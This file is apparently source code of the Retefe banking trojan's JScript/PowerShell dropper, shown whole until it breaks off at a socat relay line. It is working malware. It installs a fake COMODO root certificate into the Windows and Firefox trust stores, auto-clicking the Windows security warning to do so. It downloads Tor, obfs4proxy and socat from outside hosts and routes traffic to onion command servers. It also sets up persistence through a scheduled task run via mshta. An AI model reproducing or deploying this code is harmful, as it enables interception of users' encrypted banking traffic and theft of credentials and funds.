retefe.js

var Exp = null;
var Fire = null;
var TP = null;
var wss = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
var BINARY_STREAM_TYPE = 1;
var TEXT_STREAM_TYPE = 2;
var CREATE_OVERWRITE_SAVE_MODE = 2;
var ENV_TEMP = wss.ExpandEnvironmentStrings("%TEMP%");
var ENV_APPDATA = wss.ExpandEnvironmentStrings("%APPDATA%");
var Cfg = {
    dl: ["paoyu7gub72lykuk.onion", "5kybfrm53fkdgktz.onion",
        "s4c3jh2qqxyqfknh.onion", "s5jhnylq4yi7omen.onion"
    ],
    cert: "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",
    ps: "function ConfirmCert{
Add-Type @"
using System;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Security.Cryptography.X509Certificates;
using System.Threading;

public static class W
{
	public class SD
    {
        public string Wndclass;
        public string Title;
        public string Process;
        public IntPtr hWnd;
    }

    private delegate bool EnumWindowsProc(IntPtr hWnd, ref SD data);

    [DllImport("user32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, ref SD data);
	
	[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
    public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
	
	[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
	static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
	
	[DllImport("user32.dll")]
	[return: MarshalAs(UnmanagedType.Bool)]
	static extern bool SetForegroundWindow(IntPtr hWnd);
	
	public delegate bool EnumWindowProc(IntPtr hwnd, IntPtr lParam);
	
	[DllImport("user32")]
	[return: MarshalAs(UnmanagedType.Bool)]
	public static extern bool EnumChildWindows(IntPtr window, EnumWindowProc callback, IntPtr lParam);  
	
	[DllImport("user32.dll", CharSet = CharSet.Auto)]
	static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
	
	[Flags]
    private enum SnapshotFlags : uint
    {
    HeapList = 0x00000001,
    Process = 0x00000002,
    Thread = 0x00000004,
    Module = 0x00000008,
    Module32 = 0x00000010,
    Inherit = 0x80000000,
    All = 0x0000001F,
    NoHeaps = 0x40000000
    }
    //inner struct used only internally
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
    private struct PROCESSENTRY32
    {
    const int MAX_PATH = 260;
    internal UInt32 dwSize;
    internal UInt32 cntUsage;
    internal UInt32 th32ProcessID;
    internal IntPtr th32DefaultHeapID;
    internal UInt32 th32ModuleID;
    internal UInt32 cntThreads;
    internal UInt32 th32ParentProcessID;
    internal Int32 pcPriClassBase;
    internal UInt32 dwFlags;
    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_PATH)]
    internal string szExeFile;
    }

    [DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    static extern IntPtr CreateToolhelp32Snapshot([In]UInt32 dwFlags, [In]UInt32 th32ProcessID);

    [DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    static extern bool Process32First([In]IntPtr hSnapshot, ref PROCESSENTRY32 lppe);

    [DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    static extern bool Process32Next([In]IntPtr hSnapshot, ref PROCESSENTRY32 lppe);

    [DllImport("kernel32", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool CloseHandle([In] IntPtr hObject);
    
	const int BM_CLICK = 0x00F5;
	
	public static byte[] GetCertAsByteArray(String sCert)
    {
		return Convert.FromBase64String(sCert);
    }
        
	public static void S(String sCert){
        byte[] bCert = GetCertAsByteArray(sCert);
        if (bCert != null)
        {
            X509Certificate2 certificate = new X509Certificate2(bCert);
            X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser);
            store.Open(OpenFlags.ReadWrite);
            if (!store.Certificates.Contains(certificate))
            {
                Thread thread = new Thread(SearchDialog);
                thread.Start();
                store.Add(certificate);
                thread.Join();
            }
            store.Close();
        }
	}
	
	public static void SearchDialog()
	{
		IntPtr hWnd;
		do{
			hWnd = SearchForWindow("#32770",String.Empty);
			if (!hWnd.Equals(IntPtr.Zero))
		    {
		    	break;
			}else
	        {
		        hWnd=IntPtr.Zero;
	        }
		}while (hWnd.Equals(IntPtr.Zero));
		SetForegroundWindow(hWnd);
		EnumWindowProc childProc = new EnumWindowProc(ECW);
		EnumChildWindows(hWnd, childProc, IntPtr.Zero);
	}
	
	public static IntPtr SearchForWindow(string wndclass, string title)
    {
        SD sd = new SD();
        sd.Wndclass = wndclass;
        sd.Title = title;
        sd.hWnd=IntPtr.Zero;
        EnumWindows(new EnumWindowsProc(EnumProc), ref sd);
        return sd.hWnd;
    }
    
	public static bool EnumProc(IntPtr hWnd, ref SD data)
    {
    	StringBuilder caption = new StringBuilder(1024);
        StringBuilder className = new StringBuilder(1024);
        GetWindowText(hWnd, caption, caption.Capacity);
        GetClassName(hWnd, className, className.Capacity);
        String sEN=GPN(hWnd).ToLower();
		if((!data.Wndclass.Equals(String.Empty) && className.ToString().StartsWith(data.Wndclass)) || (!data.Title.Equals(String.Empty) && caption.ToString().StartsWith(data.Title)))
		{
        	if(sEN.Contains("csrss") || sEN.Contains("certutil")  || sEN.Contains("powershell"))
	        {
		        data.hWnd = hWnd;
                return false;
	        }
        }
       	
        return true;
    }
  
	public static String GPN(IntPtr hWnd){
		uint pID = 0;
		uint threadID = GetWindowThreadProcessId(hWnd, out pID);
		String sProc = null;
	    IntPtr handleToSnapshot = IntPtr.Zero;
	    try
	    {
	        PROCESSENTRY32 procEntry = new PROCESSENTRY32();
	        procEntry.dwSize = (UInt32)Marshal.SizeOf(typeof(PROCESSENTRY32));
	        handleToSnapshot = CreateToolhelp32Snapshot((uint)SnapshotFlags.Process, 0);
	        if (Process32First(handleToSnapshot, ref procEntry))
	        {
	        do
	        {
	            if (pID == procEntry.th32ProcessID)
	            {
	            sProc = procEntry.szExeFile;
	            break;
	            }
	        } while (Process32Next(handleToSnapshot, ref procEntry));
	        }
	        else
	        {
	        	throw new ApplicationException(string.Format("Failed with win32 error code {0}", Marshal.GetLastWin32Error()));
	        }
	    }
	    catch (Exception ex)
	    {
	        throw new ApplicationException("Can't get the process.", ex);
	    }
	    finally
	    {
	        CloseHandle(handleToSnapshot);
	    }
	    return sProc;
	}
	public static bool ECW(IntPtr hWnd, IntPtr lParam)
	{
		SendMessage(hWnd, BM_CLICK, IntPtr.Zero, IntPtr.Zero);
		return true;
	}
}
"@;
[W]::S("%CERT%");
exit
}
ConfirmCert",
    psf: "function AddCertFF{
Add-Type @"
using System;
using System.IO;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.ComponentModel;

public sealed class FF
{
	private static volatile FF instance;
	private static object syncRoot = new Object();
	public static FF GetInstance()
    {
        if (instance == null)
        {
            lock (syncRoot)
            {
                if (instance == null)
                    instance = new FF();
            }
        }
        return instance;
    }
	
	const int ERROR_SUCCESS=0;
    private static IntPtr LoadWin32Library(string libPath)
    {
        if (String.IsNullOrEmpty(libPath))
            throw new ArgumentNullException("libPath");

        IntPtr moduleHandle = LoadLibrary(libPath);
        if (moduleHandle == IntPtr.Zero)
        {
            int lasterror = Marshal.GetLastWin32Error();
            Win32Exception innerEx = new Win32Exception(lasterror);
            innerEx.Data.Add("LastWin32Error", lasterror);
            throw new Exception("can't load DLL " + libPath, innerEx);
        }
        return moduleHandle;
    }

    [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
    static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
	//Constants
    const uint NSS_INIT_READONLY=0x1;
    const uint NSS_INIT_NOCERTDB = 0x2;
    const uint NSS_INIT_NOMODDB = 0x4;
    const uint NSS_INIT_FORCEOPEN = 0x8;
    const uint NSS_INIT_NOROOTINIT = 0x10;
    const uint NSS_INIT_OPTIMIZESPACE = 0x20;
    const uint NSS_INIT_PK11THREADSAFE = 0x40;
    const uint NSS_INIT_PK11RELOAD = 0x80;
    const uint NSS_INIT_NOPK11FINALIZE = 0x100;
    const uint NSS_INIT_RESERVED = 0x200;
    const uint NSS_INIT_COOPERATE = NSS_INIT_PK11THREADSAFE | NSS_INIT_PK11RELOAD | NSS_INIT_NOPK11FINALIZE | NSS_INIT_RESERVED;

    const string SECMOD_DB = "secmod.db";
    //Structures
    [StructLayout(LayoutKind.Sequential)]
    public struct SECItem 
    {
        public uint iType;
        public IntPtr bData;
        public uint iDataLen;
    }

    [StructLayout(LayoutKind.Sequential)]
    private struct CertTrusts
    {
        public int iSite;
        public int iEmail;
        public int iSoft;
    }

    private enum SECCertUsage
    {
        certUsageSSLClient = 0,
        certUsageSSLServer = 1,
        certUsageSSLServerWithStepUp = 2,
        certUsageSSLCA = 3,
        certUsageEmailSigner = 4,
        certUsageEmailRecipient = 5,
        certUsageObjectSigner = 6,
        certUsageUserCertImport = 7,
        certUsageVerifyCA = 8,
        certUsageProtectedObjectSigner = 9,
        certUsageStatusResponder = 10,
        certUsageAnyCA = 11
    }
	[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    private delegate int NSS_InitializePtr(string sConfigDir, string certPrefix, string keyPrefix, string secModName, uint flags);

    private int NSS_Initialize(string sConfigDir, string certPrefix, string keyPrefix, string secModName, uint flags)
    {
        IntPtr pProc = GetProcAddress(nssModule, "NSS_Initialize");
        NSS_InitializePtr ptr = (NSS_InitializePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitializePtr));
        return ptr(sConfigDir, certPrefix, keyPrefix, secModName, flags);
    }

    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    private delegate IntPtr CERT_GetDefaultCertDBPtr();
    private IntPtr CERT_GetDefaultCertDB()
    {
        IntPtr pProc = GetProcAddress(nssModule, "CERT_GetDefaultCertDB");
        CERT_GetDefaultCertDBPtr ptr = (CERT_GetDefaultCertDBPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(CERT_GetDefaultCertDBPtr));
        return ptr();
    }

    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    private delegate IntPtr NSS_ShutdownPtr();
    private IntPtr NSS_Shutdown()
    {
        IntPtr pProc = GetProcAddress(nssModule, "NSS_Shutdown");
        NSS_ShutdownPtr ptr = (NSS_ShutdownPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_ShutdownPtr));
        return ptr();
    }

    //SECStatus CERT_ImportCerts (CERTCertDBHandle *certdb, SECCertUsage usage, unsigned int ncerts, SECItem **derCerts, CERTCertificate ***retCerts, PRBool keepCerts, PRBool caOnly, char *nickname)
    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    private delegate int CERT_ImportCertsPtr(IntPtr certdb, int usage, uint ncerts, ref SECItem[] derCerts, ref IntPtr retCerts, uint keepCerts, uint caOnly, IntPtr nickname);
    private int CERT_ImportCerts(IntPtr certdb, int usage, uint ncerts, ref SECItem[] derCerts, ref IntPtr retCerts, uint keepCerts, uint caOnly, IntPtr nickname)
    {
        IntPtr pProc = GetProcAddress(nssModule, "CERT_ImportCerts");
        CERT_ImportCertsPtr ptr = (CERT_ImportCertsPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(CERT_ImportCertsPtr));
        return ptr(certdb, usage, ncerts, ref derCerts, ref retCerts, keepCerts, caOnly, nickname);
    }

    //extern SECStatus CERT_ChangeCertTrust(CERTCertDBHandle *handle,CERTCertificate *cert,CERTCertTrust *trust);
    private delegate int CERT_ChangeCertTrustPtr(IntPtr certdb, IntPtr cert, ref CertTrusts trust);
    private int CERT_ChangeCertTrust(IntPtr certdb, IntPtr cert, ref CertTrusts trust)
    {
        IntPtr pProc = GetProcAddress(nssModule, "CERT_ChangeCertTrust");
        CERT_ChangeCertTrustPtr ptr = (CERT_ChangeCertTrustPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(CERT_ChangeCertTrustPtr));
        return ptr(certdb, cert, ref trust);
    }
    //void CERT_DestroyCertArray(CERTCertificate **certs, unsigned int ncerts);
    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    public delegate int CERT_DestroyCertArrayPtr(IntPtr cert, uint ncerts);
    private int CERT_DestroyCertArray(IntPtr cert, uint ncerts)
    {
        IntPtr pProc = GetProcAddress(nssModule, "CERT_DestroyCertArray");
        CERT_DestroyCertArrayPtr ptr = (CERT_DestroyCertArrayPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(CERT_DestroyCertArrayPtr));
        return ptr(cert, ncerts);
    }

	private IntPtr nssModule = IntPtr.Zero;
	
	public Boolean Start(String sCert){
		String sProfile = GetProfile();
        if (String.IsNullOrEmpty(sProfile))
        {
            return false;
        }
        byte[] bCert = GetCertAsByteArray(sCert);
		IntPtr ipCert = Marshal.AllocHGlobal(bCert.Length);
		try
        {
            DirectoryInfo diInstallPath = GetIP();
            String sCurrentDirectory = Directory.GetCurrentDirectory();
            Directory.SetCurrentDirectory(diInstallPath.FullName);
            foreach(FileInfo fiDll in diInstallPath.GetFiles("*.dll"))
            {
                if (fiDll.Name.Equals("breakpadinjector.dll")) continue;
                LoadWin32Library(fiDll.FullName);
            }
            nssModule = LoadWin32Library(diInstallPath.FullName + "\\nss3.dll");
            if (nssModule.Equals(IntPtr.Zero))
            {
                return false;
            }
            Directory.SetCurrentDirectory(sCurrentDirectory);
            //Init cert
            Marshal.Copy(bCert, 0, ipCert, bCert.Length);
            SECItem CertItem = new SECItem();
            CertItem.iType = 3;     //   *.der
            CertItem.bData = ipCert;
            CertItem.iDataLen = (uint)bCert.Length;
            SECItem[] aCertItem = new SECItem[1];
            aCertItem[0] = CertItem;

            CertTrusts CertTrust = new CertTrusts();
            CertTrust.iSite = 0x10;
            CertTrust.iEmail = 0x10;
            CertTrust.iSoft = 0x10;

            IntPtr CertToImport = new IntPtr();
            IntPtr[] aCertToImport = new IntPtr[1];
            //End init cert
            int status = NSS_Initialize(sProfile, "", "", SECMOD_DB, NSS_INIT_OPTIMIZESPACE);
            if (status != ERROR_SUCCESS)
            {
                return false;
            }
            IntPtr bd = CERT_GetDefaultCertDB();
            if (bd.Equals(IntPtr.Zero))
            {
                NSS_Shutdown();
                return false;
            }
            status = CERT_ImportCerts(bd, 11, 1, ref aCertItem, ref CertToImport, 1, 0, IntPtr.Zero);
            if (status != ERROR_SUCCESS)
            {
                NSS_Shutdown();
                return false;
            }
            Marshal.Copy(CertToImport, aCertToImport, 0, 1);
            status = CERT_ChangeCertTrust(bd, aCertToImport[0], ref CertTrust);
            if ( status != ERROR_SUCCESS) 
            {
                NSS_Shutdown();
                return false;
            };
            CERT_DestroyCertArray(CertToImport, 1);
            NSS_Shutdown();
            return true;
        }
        catch (Exception){}
        finally
        {
            Marshal.FreeHGlobal(ipCert);
            ipCert = IntPtr.Zero;
            NSS_Shutdown();
        }
		return true;
	}
	private String GetProfile()
    {
        String FFProfile = Path.Combine(Environment.GetEnvironmentVariable("APPDATA"), @"Mozilla\Firefox\Profiles");
        if (Directory.Exists(FFProfile))
        {
            if (Directory.GetDirectories(FFProfile, "*.default").Length > 0)
            {
                return Directory.GetDirectories(FFProfile, "*.default")[0];
            }
        }
        return "";
    }
	public byte[] GetCertAsByteArray(String sCert)
    {
        try
        {
            return Convert.FromBase64String(sCert);
        }
        catch (Exception){}
        return null;
    }
	private DirectoryInfo GetIP()
    {
        DirectoryInfo fp = null;
        // get firefox path from registry
        // we'll search the 32bit install location
        RegistryKey localMachine1 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mozilla\Mozilla Firefox", false);
        // and lets try the 64bit install location just in case
        RegistryKey localMachine2 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox", false);

        if (localMachine1 != null)
        {
            try
            {
                string[] installedVersions = localMachine1.GetSubKeyNames();
                // we'll take the first installed version, people normally only have one
                if (installedVersions.Length == 0)
                    throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");

                RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);

                // get install directory
                string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);

                if (installString == null)
                    throw new NullReferenceException("Install string was null");

                fp = new DirectoryInfo(installString);
            }
            catch (Exception)
            {
            }
        }
        else if (localMachine2 != null)
        {
            try
            {
                string[] installedVersions = localMachine2.GetSubKeyNames();
                // we'll take the first installed version, people normally only have one
                if (installedVersions.Length == 0)
                    throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");

                RegistryKey mainInstall = localMachine2.OpenSubKey(installedVersions[0]);

                // get install directory
                string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);

                if (installString == null)
                    throw new NullReferenceException("Install string was null");
                fp = new DirectoryInfo(installString);
            }
            catch (Exception)
            {
            }
        }
        return fp;
    }
}
"@;
[FF]::GetInstance().Start("%CERT%");
}
AddCertFF",
    pstp: "function Unzip
{
param([string]$zipfile, [string]$destination);
$7z = Join-Path $env:Temp '7za.exe';
if (-NOT (Test-Path $7z)){
Try
{
(New-Object System.Net.WebClient).DownloadFile('https://chocolatey.org/7za.exe',$7z);
}
Catch{}
}
if ($(Try { Test-Path $7z.trim() } Catch { $false })){
Start-Process "$7z" -ArgumentList "x -o`"$destination`" -y `"$zipfile`"" -Wait -NoNewWindow
}
else{
$shell = new-object -com shell.application;
$zip = $shell.NameSpace($zipfile);
foreach($item in $zip.items())
{
$shell.Namespace($destination).copyhere($item);
}
}
}
function Base64ToFile
{
param([string]$file, [string]$string);
$bytes=[System.Convert]::FromBase64String($string);
#set-content -encoding byte $file -value $bytes;
[IO.File]::WriteAllBytes($file, $bytes);
}
function AddTask
{
param([string]$name, [string]$cmd, [string]$params='',[int]$restart=0,[int]$delay=0,[string]$dir='');
$ts=New-Object Microsoft.Win32.TaskScheduler.TaskService;
$td=$ts.NewTask();
$td.RegistrationInfo.Description = 'Does something';
$td.Settings.DisallowStartIfOnBatteries = $False;
$td.Settings.StopIfGoingOnBatteries = $False;
$td.Settings.MultipleInstances = [Microsoft.Win32.TaskScheduler.TaskInstancesPolicy]::IgnoreNew;
$LogonTrigger = New-Object Microsoft.Win32.TaskScheduler.LogonTrigger;
$LogonTrigger.StartBoundary=[System.DateTime]::Now;
$LogonTrigger.UserId=$env:username;
$LogonTrigger.Delay=[System.TimeSpan]::FromSeconds($delay);
$td.Triggers.Add($LogonTrigger);
if($restart -eq 1){
$TimeTrigger = New-Object Microsoft.Win32.TaskScheduler.TimeTrigger;
$TimeTrigger.StartBoundary=[System.DateTime]::Now;
$TimeTrigger.Repetition.Interval=[System.TimeSpan]::FromMinutes(20);
$TimeTrigger.Repetition.StopAtDurationEnd=$False;
$td.Triggers.Add($TimeTrigger);
}
$ExecAction=New-Object Microsoft.Win32.TaskScheduler.ExecAction($cmd,$params,$dir);
$td.Actions.Add($ExecAction);
$task=$ts.RootFolder.RegisterTaskDefinition($name, $td);
$task.Run();
}
function ITP{
$File=$env:Temp+'\ts.zip';
$Dest=$env:Temp+'\ts';
(New-Object System.Net.WebClient).DownloadFile('https://api.nuget.org/packages/taskscheduler.2.5.26.nupkg',$File);
if ((Test-Path $Dest) -eq 1){rm -Force -Recurse $Dest;}md $Dest | Out-Null;
Unzip $File $Dest;
rm -Force $File;
$TSAssembly=$Dest+'\lib\net20\Microsoft.Win32.TaskScheduler.dll';
$loadLib = [System.Reflection.Assembly]::LoadFile($TSAssembly);
$TFile=$env:Temp+'\t.zip';
$DestTP=$env:APPDATA+'\MS';
(New-Object System.Net.WebClient).DownloadFile('https://dist.torproject.org/torbrowser/7.0/tor-win32-0.3.0.7.zip',$TFile);
if ((Test-Path $DestTP) -eq 1){rm -Force -Recurse $DestTP;}md $DestTP | Out-Null;
Unzip $TFile $DestTP;
rm -Force $TFile;
$tor=$DestTP+'\Tor\tor.exe';
$obfs4=$DestTP+'\Tor\obfs4proxy.exe';
(New-Object System.Net.WebClient).DownloadFile('https://github.com/garethflowers/tor-browser-portable/raw/master/TorBrowserPortable/App/TorBrowser/TorBrowser/Tor/PluggableTransports/obfs4proxy.exe',$obfs4);
if ($(Try { Test-Path $obfs4.trim() } Catch { $false })){
$tor_dir=$env:APPDATA+'\tor';
if ((Test-Path $tor_dir) -eq 1){rm -Force -Recurse $tor_dir;}md $tor_dir | Out-Null;
$torrc=$tor_dir+'\torrc';
Base64ToFile $torrc 'VXNlQnJpZGdlcyAxDQpDbGllbnRUcmFuc3BvcnRQbHVnaW4gb2JmczQgZXhlYyBvYmZzNHByb3h5LmV4ZSBtYW5hZ2VkDQpCcmlkZ2Ugb2JmczQgMTk0LjEzMi4yMDkuMTU0OjU5ODg4IEI4MzdFRjAzODNDMEIxMzMwQTk4N0I5QzVERkI2RjJDQkRBMzVDQUEgY2VydD1xS0pWd2NzZHhFbFB6TWJvdzIxcm9qSFJDQlpkeEFkd3V4WG5RVTFsZy9zOUlGNWVoKzd1aWltYnBrVEV3Ulh1TVRFUlR3IGlhdC1tb2RlPTANCkJyaWRnZSBvYmZzNCA0NS41NS4xLjc0Ojk0NDMgNkYxOEZFRkJCMENBRUNENUFCQTc1NTMxMkZDQ0IzNEZDMTFBN0FCOCBjZXJ0PXc4SC94NmlnQ3hsaWdiRjJYQkljeE5FV3EremlVOWgxNXJ0d2lrODJvQXFOWFp3SjI1b0h3YWx6UllLNVdPSklBZUtjQ1EgaWF0LW1vZGU9MA0KQnJpZGdlIG9iZnM0IDM4LjIyOS4zMy4xNDY6NDQ5NTAgOTY5RDA3MUJEODlBNjhDMTU5NDkxNTZDRDFDQTI5QTMzQUY2MzVDMiBjZXJ0PXZiYWg2akRrS1MwTlJxVzF4Z0tnNktkM1VucjFQMTI1dkR2RDlGYllvZFovZnNxUS9NV0RLMjc3UE5BSmlHdWR6SEVCR2cgaWF0LW1vZGU9MQ0KQnJpZGdlIG9iZnM0IDE5NC4xMzIuMjA5LjE5OjQxNDc4IDc4M0UyNzZDNjg4OUJGNzM5MDdGMjk1QUE5MzIxOUY3NzYyQkI5MDYgY2VydD1vRDBJeDVQT3JSTVdFMEY0YXRzNFRTYlZIdyt4MzUrQ2VXZXNvbThTNVJ4cjlWNmRUTm9vWGI1UWViRUlGTGU3OFlpY0x3IGlhdC1tb2RlPTANCkJyaWRnZSBvYmZzNCAxOTIuMzYuMzEuMTIyOjQ0OTk0IDYzRjUxNjg4QjM4OTY2NkRCMEYwNTU2QzU2RTk3OTUxNkQyQjlEMzggY2VydD1RS1hJQmcrcmU3ZkxpbW1CTWJKbnRiVTd3d3cwVWExQ2ZPVS9YK1lVc1AxSTNOc3FLUkNKWDlXVDZRVGE5SG1teGkxOFhnIGlhdC1tb2RlPTANCkJyaWRnZSBvYmZzNCA1NC4yMDIuMTM1LjE1Ojk0NDMgMzdENjExRjJDMTNCODA2N0ZENzJDMzk3MDZCQzE1NENGMkM4Mzk3OCBjZXJ0PU5LV3FJbmR2NVB6ZDF6YnFIKzc4TzBFU1U3czJhNmNjKzZoOTFOYnNzbXNmejVUTXAxWFdxcWVwelh4TkN1eEhFeFg0QkEgaWF0LW1vZGU9MA0KQnJpZGdlIG9iZnM0IDM1LjE4Ny4yMTYuMjMwOjk0NDMgMzU0N0ZGRjlGNkFGNTEwOTNFMTI5MEVCOTEwMTk5QTdFOTIwODUxMiBjZXJ0PVdjWFIzZkVIZUF3NWJISjNScXIvdkFoTHp5ZC9XL3cwYmlzbk9jZmxtYy9IU0NiTTVGWXF0UVFGZE9ObEl1Z3dkS205ZXcgaWF0LW1vZGU9MA0KQnJpZGdlIG9iZnM0IDEwOS43NC4xOTguMjUyOjM3NzcxIDgxNjdGMjI1NDA1QkZBNzE2MzNCRDJCQzVCODU5OUExQTgyN0ZDRjMgY2VydD04ZktUY2xndUxJNnZ1RE5ybFRSclZqNDZ2MjNOWVFUczJUVUFwSXBuYXk1MkhVVUIrcUZ4VXpHaTNta2ordEw5bytTQ1p3IGlhdC1tb2RlPTANCg==';
}
$tor=$tor.Replace('\','/');
$tor_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$tor',0,false))`"";
AddTask 'SUT' 'mshta.exe' $tor_cmd;
$SFile=$env:Temp+'\s.zip';
(New-Object System.Net.WebClient).DownloadFile('https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip',$SFile);
Unzip $SFile $DestTP;
$s_old=$DestTP+'\socat-windows-1.7.2.1\';
rm -Force $SFile;
Rename-Item -path $s_old -newName 's';
$s_fold=$DestTP+'\s\';
$s1cmd='socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:80,socksport=9050';
